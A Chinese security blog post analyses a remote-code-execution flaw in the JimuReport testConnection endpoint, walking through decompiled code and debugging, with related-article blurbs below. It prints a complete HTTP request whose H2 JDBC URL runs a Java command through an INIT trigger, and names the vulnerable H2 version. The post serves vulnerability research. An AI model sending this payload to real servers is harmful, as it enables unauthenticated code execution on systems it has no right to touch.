Jimureport h2命令执行分析记录

《数据分析-JiMuReport》积木报表详细入门教程 积木报表可以通过源码部署、SpringBoot集成、Docker部署以及各种成熟框架部署,具体可查看积木官方文档当前采用源码部署。JimuReport部署入门、JimuReport开发配置、报表设计、报表优化。 阅读详情

首先找testConnection接口,前面进行了jimureport-spring-boot-starter-1.5.8.jar反编译查找,接口找到发现请求参数是json
在这里插入图片描述
var1是JmreportDynamicDataSourceVo类型,也就是如上图的dbSource,根据打印的结果可以知道这里是local cache key
ConcurrentHashMap属于并发程序,var4也就是连接相关的东西
那么这一块就是数据库连接的东西,主要说的是配置文件
因为jeecg-boot/jmreport/testConnection接口的参数是var1,是JmreportDynamicDataSourceVo类型,那么我们查看代码总结出来有这么几个参数id,code,dbType,dbDriver,dbUrl,dbName,dbUsername,dbPassword,connectTimes

那么继续往下走在这里插入图片描述
可以看到从var1(也就是JmreportDynamicDataSourceVo)中获得DbDriver,然后获得DbUrl,一起通过g方法传给了var39,来看看g方法在这里插入图片描述
这段代码的目的是用于处理包含数据库连接参数的字符串,如果字符串中包含 “mysql”,则将 “allowLoadLocalInfile” 参数设置为 “false”。这是为了增强安全性,因为允许加载本地文件可能存在一些潜在的安全风险

var2 = DriverManager.getConnection(var39, var1.getDbUsername(), var1.getDbPassword());

回到上一层,继续往下走,var2是进行数据库连接(dburl,username,password),那么记下来就是if判断var是否为null

但是上面是我们反编译出的jar包和实际还是有差别,进行动态调试看看
现在对传入的 HTTP 请求执行预处理的拦截器地方下断点,因为必经过这里
在这里插入图片描述
然后往下跳,在接口处下断点在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到为false,所以进入下面1091行的else
在这里插入图片描述
可以看到连接时候直接执行命令,弹出计算器
在这里插入图片描述
然后回显报错,这里会想到为什么会跳入这个catch (Exception var35)呢
因为执行的命令用于连接会报异常,catch (ClassNotFoundException var34) 块用于捕获ClassNotFoundException异常,而Exception var35用于捕获所有的异常

payload

POST /jeecg-boot/jmreport/testConnection HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 363

{
  "id": "1",
  "code": "dataSource1",
  "dbType": "H2",
  "dbDriver": "org.h2.Driver",
  "dbUrl": "jdbc:h2:mem:test;init=CREATE TRIGGER shell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('calc')\u000A$$",
  "dbName": "test",
  "dbUsername": "sa",
  "dbPassword": "",
  "connectTimes": 5
}

在这里插入图片描述
目前是本地h2数据库没有配置好,并且idea没有配置h2的依赖
我们配置好如下
在这里插入图片描述
在idea中加入h2依赖

<!--h2-->
<dependency>
   <groupId>com.h2database</groupId>
   <artifactId>h2</artifactId>
   <version>1.4.197</version>
   <scope>runtime</scope>
</dependency>

根据我们之前写的h2文章,就是因为所在版本存在漏洞1.1.100 <= H2 Console <= 2.0.204
在这里插入图片描述
在这里插入图片描述
成功弹出计算器

若依ruoyi框架集成第三方报表工具(集成jmreport积木报表) 阅读详情

相关推荐

微服务版 ruoyi 整合jimureport 问题记录

maven 命令增加-e -X cd ${workspace}/${service} && mvn -gs ${workspace}/configuration/settings.xml -DskipTests=true clean package -Ptest jib:build -Djib.httpTimeout=200000 -DsendCredentialsOverHttp=true -f pom.xml -e -X" 查看日志,发现如下信息 [WARNING] The POM

山巅 3475

强!一款贼好用的低代码报表工具,开源免费!

JimuReport是北京国炬信息技术有限公司旗下的平台,是一款免费的数据可视化报表工具,主要用于报表和大屏设计。用户可以通过在线拖拽的方式,像搭建积木一样设计报表,功能涵盖: 报表设计、图形报表、打印设计、大屏设计等,完全免费!秉承“简单、易用、专业”的产品理念,极大的降低报表开发难度、缩短开发周期、解决各类报表难题。低代码开发:它采用了纯Web在线技术,可以快速集成到SpringBoot的脚手架项目中,只需引入依赖即可。

测试开发技术 3698

Jeecg-Boot积木报表queryFieldBySql接口RCE漏洞(CVE-2023-4450)深度剖析与实战利用

本文深度剖析了Jeecg-Boot积木报表queryFieldBySql接口的RCE漏洞(CVE-2023-4450),详细解析了Freemarker模板注入机制及攻击链,并提供了漏洞复现的实战演示和防御方案。该漏洞影响JimuReport 1.6.1之前的版本,攻击者可利用未授权访问和模板注入获取服务器控制权,具有极高的危险性。

weixin_30471561的博客 464

Java组件漏洞实战:H2数据库JDBC驱动远程命令执行分析与复现

在Java应用开发中,第三方组件依赖是常见的工程实践,但这也引入了供应链安全风险。JDBC(Java数据库连接)作为Java访问数据库的标准API,其驱动实现的安全性直接影响整个应用。H2数据库是一款轻量级的内存数据库,其JDBC驱动支持通过连接字符串的INIT参数执行初始化SQL,这一特性本为便捷设计,却可能因不当的用户输入过滤而演变为严重漏洞。攻击者通过构造恶意的JDBC连接字符串,可在数据库连接建立时执行任意SQL语句,进而利用H2支持调用Java静态方法的能力,实现远程命令执行(RCE),直接威胁服

weixin_30832405的博客 470

若依Vue集成积木报表的正确姿势:iframe解耦与权限穿透

积木报表是一种低代码可视化报表工具,其核心原理是基于Vue构建的独立SPA应用,而非标准UI组件库。由于技术栈差异(如Vue 2.x与Vue 3不兼容)、路由与状态管理冲突,直接npm引入会导致白屏、模块找不到等典型错误。其技术价值在于快速构建可嵌入式报表能力,适用于政府、金融等需统一门户的中后台系统。常见应用场景包括若依框架下的数据看板、业务单据打印与Excel导出。本文聚焦若依Vue版与积木报表的工程级集成,详解iframe嵌入、JWT Token透传、跨域联调及SSO落地,覆盖若依vue2/3、jim

weixin_34055787的博客 379

若依框架集成JimuReport积木报表

若依框架集成积木报表的过程及使用。因为我在实际项目中需要用到在线设计打印样式,于是,在百度上搜索一圈,找到了JimuReport积木报表的介绍,而且该项目是完全免费的可应用到企业项目中,这点...

乘风偷月的博客 2万+

从零到一:如何利用JimuReport的移动报表功能重塑企业移动办公体验

本文详细介绍了如何利用JimuReport v2.3.0的移动报表功能提升企业移动办公效率。通过智能布局引擎、手势操作优化和增量数据加载等技术创新,解决跨设备兼容性差、交互体验割裂等核心痛点。文章还提供了多端协同设计、行业应用案例及实施路径,帮助企业快速实现移动报表的部署与优化。

pz890123456的博客 180

JeecgBoot JimuReport testConnection RCE漏洞复现

JeecgBoot 的 jeecg-boot/jmreport/testConnection 未进行身份验证,并且未对 dbUrl 参数进行限制,当应用端存在H2数据库驱动依赖时,攻击者发送包含恶意 dbUrl 参数的 http 请求远程执行任意代码。

0xSec 3611

Decepticon Phisher 技能深度解析:HTML Smuggling Lure(T1027.006)客户端载荷重建与初始访问链路

在 Decepticon 的 Phisher(钓鱼/社会工程)Agent 技能库中,`html-smuggling-lure` 是一个典型的"初始访问 + 规避"复合技能:它把 base64 编码的二进制载荷内嵌进一个 `text/html` 邮件附件,利用浏览器 JavaScript 的 Blob 机制在受害者客户端本地重建出 ISO/ZIP/MSI 等文件并触发下载,从而让只检查 MIME 类

gitblog_00428的博客 896

JimuReport低代码报表平台Docker一键部署指南

低代码报表平台是现代BI系统的核心组件,其核心在于降低开发门槛、加速数据可视化交付。JimuReport作为主流开源积木式报表工具,通过容器化封装实现开箱即用的部署体验——本质是将Java应用、MySQL数据库、Nginx静态服务与前端资源打包为标准化Docker环境。该方案规避了JDK版本冲突、Maven构建依赖和Spring Boot环境适配等典型痛点,依托docker-compose.yml声明式编排实现服务依赖自动调度,并以zip为跨平台分发载体兼顾完整性校验与零依赖解压。适用于快速搭建演示环境、本

weixin_33912453的博客 521

JimuReport - 积木报表(一款免费Web报表工具)

一款免费的数据可视化报表,含报表和大屏设计,像搭建积木一样在线设计报表!功能涵盖,数据报表、打印设计、图表报表、大屏设计等! Web 版报表设计器,类似于excel操作风格,通过拖拽完成报表设计。 秉承“简单、易用、专业”的产品理念,极大的降低报表开发难度、缩短开发周期、节省成本、解决各类报表难题。 领先的企业级Web报表软件,采用纯Web在线技术,专注于解决企业报表快速制作难题。 为什么选择 JimuReport? 永久免费,支持各种复杂报表,并且傻瓜式在线设计,非常的智能,低代码时代,这个是你的首选! 采用SpringBoot的脚手架项目,都可以快速集成 Web 版设计器,类似于excel操作风格,通过拖拽完成报表设计 通过SQL、API等方式,将数据源与模板绑定。同时支持表达式,自动计算合计等功能,使计算工作量大大降低 开发效率很高,傻瓜式在线报表设计,一分钟设计一个报表,又简单又强大 支持 ECharts,目前支持28种图表,在线拖拽设计,支持SQL和API两种数据源 支持分组、交叉,合计、表达式等复杂报表 支持打印设计(支持套打、背景打印等)可设置打印边距、方向、页眉页脚

积木报表—JimuReport v1.5.4版本发布,免费的可视化Web报表工具

一款免费的低代码可视化报表,像搭建积木一样在线拖拽设计!低代码开发必备,功能涵盖,数据报表、打印设计、图表报表、大屏设计等!

JEECG官方博客 5331

关于token无痛刷新的两个方案

目录方案一方案二 方案一 思路: 后端需要返回一个token过期的时间,在请求发起前拦截每个请求,判断token的有效时间是否已经过期,如果已过期,则暂时将请求挂起,先刷新token后再继续请求。 前期思考: 返回过期时间是为了判断是否过期的,但是如果服务器时间和系统时间不一致呢? 如果同时发起多个请求时怎么办? 实现: 因为是在请求前进行拦截,所以这里用axios的axios.interceptors.request.use()方法 首先,关于服务器时间和系统时间不一致的问题,我的解决方法是:

Yugoup的博客 2702

Windows 更新后 RDPWrap 失联?三条路径快速找回多用户远程桌面

早上九点,你在高铁上,要连办公室那台 Windows 主机。昨晚 Windows 更新自动重启,RDPWrap 直接失联,远程桌面多用户连接废了,只有一个人能登。原因通常就一个:系统版本变了,rdpwrap.ini 还是旧的,锁换了齿,老钥匙插不进。下面给你三条分层修复路径,先判断,再动手。 ## 怎么判断是哪层坏了:RDPWrap 不工作先看这 4 个信号 RDPWrap 干的事不复杂:靠

gitblog_01114的博客 156

STM32CubeMX Nucleo F767ZI 教程(1)

系列文章目录 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 例如:第一章 Python 机器学习入门之pandas的使用 提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录系列文章目录前言一、pandas是什么?二、使用步骤1.引入库2.读入数据总结 前言 官网上买了个NUCLEO F767ZI 的开发板,144引脚的芯片,https://www.st.com/content/st_com/zh/products/evaluation-tools/prod

fafuwxm 2016

SRA数据库

简介 序列读取存档(sequence Read Archive,SRA)数据是可通过多个云提供商和NCBI服务器获得的,它是最大的可公开获得的高通量测序数据存储库。 SRA接受来自生活各个部门以及宏基因组学和环境调查的数据。 SRA存储原始测序数据和比对信息,以提高可重复性并通过数据分析促进新发现。 NCBI网站储存二代测序原始数据的数据库 SRA官网 从Entrez搜索结果中下载SRA序列 例如查找SRA Entrez中BALB / c小鼠淋巴结组织的RNA-Seq记录 获取搜索结果 SRA se

qq_44520665的博客 5891

AI表格工具技术实测:从自然语言到结构化报表的6种实现方案

百度文库搭载的GenFlow 4.0采用多智能体协同架构,当用户输入一条自然语言指令后,系统先通过意图理解模块进行任务拆解,识别该指令涉及PPT、Excel、Word中的哪一种或几种输出,再并行调用对应的子智能体分别执行,最后合并交付结果。其核心特点是。

Claire_88的博客 414

【商业化】【msix打包】Python 应用打包为 MSIX 的正确流程:入口点问题与解决方案

发现用msix打包工具打包python做的exe时总找不到程序入口点,后来理了一下才发现自己误会了,需要先生成一个基本的setup.exe,msix的打包是基于这个初始的安装程序进行的。只需要点击Buile-》Compile,然后Open Output Folder就可以得到exe安装程序了。可以使用免费工具inno setup来创建初始安装包。其中{group}这样的变量会自动匹配,不用自己指定。如果点击Run会运行安装程序。

每日出拳老爷子的博客 1096

AI代码助手与低代码报表工具融合:打造智能数据可视化开发新范式

数据可视化是现代数据驱动决策的核心环节,它通过图表、图形等直观形式将复杂数据转化为易于理解的洞察。其技术原理通常涉及数据提取、转换、加载(ETL)以及前端渲染引擎的协同工作。在工程实践中,开发高效、美观的可视化应用常面临配置繁琐、代码重复的挑战。低代码平台通过提供可视化编排和预置组件,显著提升了搭建效率,而AI代码生成技术则能基于自然语言描述自动产出数据处理逻辑与配置代码,两者结合为可视化开发带来了范式变革。具体到应用场景,这种融合模式特别适用于需要快速构建业务监控大屏、运营数据看板以及标准化报表系统的团队

weixin_30530939的博客 344

24GHz雷达DIY呼吸监测仪:用树莓派+TI IWR6843搭建生命体征检测系统(附Python代码)

本文详细介绍了如何利用树莓派和TI IWR6843毫米波雷达模块DIY非接触式呼吸监测仪。通过硬件选型、信号处理流水线设计和实时可视化系统搭建,实现高精度的生命体征检测,特别适合医疗健康和运动监测场景。附带的Python代码帮助开发者快速复现该系统。

rl6adventurer的博客 977

【基于大模型 + FAISS 的本地知识库与智能 PPT 生成系统:从架构到实现】

本文介绍了一个基于大模型(Ollama+DeepSeek)和FAISS向量数据库的本地知识库与智能PPT生成系统。该系统采用前后端分离架构,包含文档管理、向量检索、PPT生成等核心模块,可实现文档智能解析、语义检索和结构化PPT自动生成。通过MVC设计模式,系统实现了从文档上传、向量存储到内容检索、PPT生成的全流程自动化,有效解决了企业知识管理效率低下的问题。架构设计清晰,功能模块完备,为企业和个人提供了高效的文档处理与二次创作解决方案。

聚焦大数据、AI、数据库三大核心领域,分享 Flink/Spark 实时计算、数仓架构设计、AI 模型落地、数据库性能调优的实战干货,附可直接运行的源码与方案。提供企业技术内训、项目咨询与定制化服务,助力开发者与企业高效搞定数智技术难题。 1592

科学研究新突破:Intern-S1-Pro在AI4Science领域的顶尖表现揭秘 [特殊字符]

在人工智能与科学研究的交叉领域,一个革命性的突破正在悄然发生。今天,我们要为大家介绍Intern-S1-Pro——这个万亿参数规模的MoE多模态科学推理模型,它正在AI4Science领域创造着令人瞩目的成就!✨ ## 🌟 什么是Intern-S1-Pro? **Intern-S1-Pro**是一个专门为科学研究设计的先进人工智能模型,拥有**1万亿总参数**的惊人规模。这个模型采用了创新的

gitblog_01069的博客 1075

Carla-UE4Editor导入RoadRunner地图文件(保姆级教程)

以Carla官网导入RoadRunner地图的标准文档为参考,里面增添了很多细节和注意事项,遇到问题的小伙伴过来看看吧。

DSK_981029的博客 1万+

开源雷达周刊2026-W35:开源动态、项目精选与工程避坑

开源生态的活力源于持续迭代与社区协作,从开源鸿蒙PC版正式开放下载到开源大模型从“参数竞赛”转向“质变”,技术演进不断降低开发者的准入门槛。理解镜像站加速原理与开源许可证合规选择,是高效参与开源的基础工程能力。本周GitHub与Gitee涌现出遥感影像可视化、桌面语音机器人、内容归档等众多新项目,而工程化部署中的常见坑与排查经验同样值得借鉴。一份周更的开源雷达,为开发者提供收藏级项目清单与可落地的部署经验,助力技术选型与快速上手。

weixin_33824363的博客 375

遥感图像融合实战:5分钟搞懂全色与多光谱图像如何提升分辨率(附Python代码)

本文通过实战案例,详细解析了如何利用全色锐化技术融合全色与多光谱遥感图像,以提升图像分辨率。文章深入浅出地介绍了核心概念、环境配置、经典GS融合算法的Python代码实现,并对比了不同算法的优劣,最后提供了效果评估方法与实战陷阱分析,帮助读者快速掌握遥感图像融合的关键技术。

weixin_29041195的博客 383

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

OpenSearch 3.0.0-alpha1 Release Notes 深度解析:Lucene 10、JDK 21 与核心架构演进

本文以 OpenSearch 3.0.0-alpha1(发布于 2025-03-17)官方 Release Notes 为主体,逐项拆解这一大版本首个里程碑的技术变更:从强制要求 JDK 21、升级 Lucene 10.1.0,到 HTTP/2 服务端支持、JPMS 模块化改造、线程上下文权限收紧等一系列 Breaking Changes 与新特性。结合当前仓库源码,你不仅能了解每个变更的表层影响

gitblog_00730的博客 485

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

上一篇: shiro权限校验demo
下一篇: shiro注入filter内存马(绕过长度限制)
qieziwa(boy)
博客等级 码龄7年 5703粉丝 160原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值